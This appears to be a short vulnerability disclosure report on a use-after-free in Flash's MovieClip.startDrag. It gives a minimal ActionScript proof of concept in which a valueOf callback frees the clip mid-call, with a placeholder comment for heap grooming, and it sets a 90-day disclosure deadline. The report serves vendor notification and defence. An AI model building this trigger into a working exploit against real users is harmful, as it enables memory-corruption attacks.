There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal POC follows:

this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);


function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

	return 1;
	
	}
	
A sample fla and swf are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 

drag.fla 5.0 KB Download

drag.swf 937 bytes Download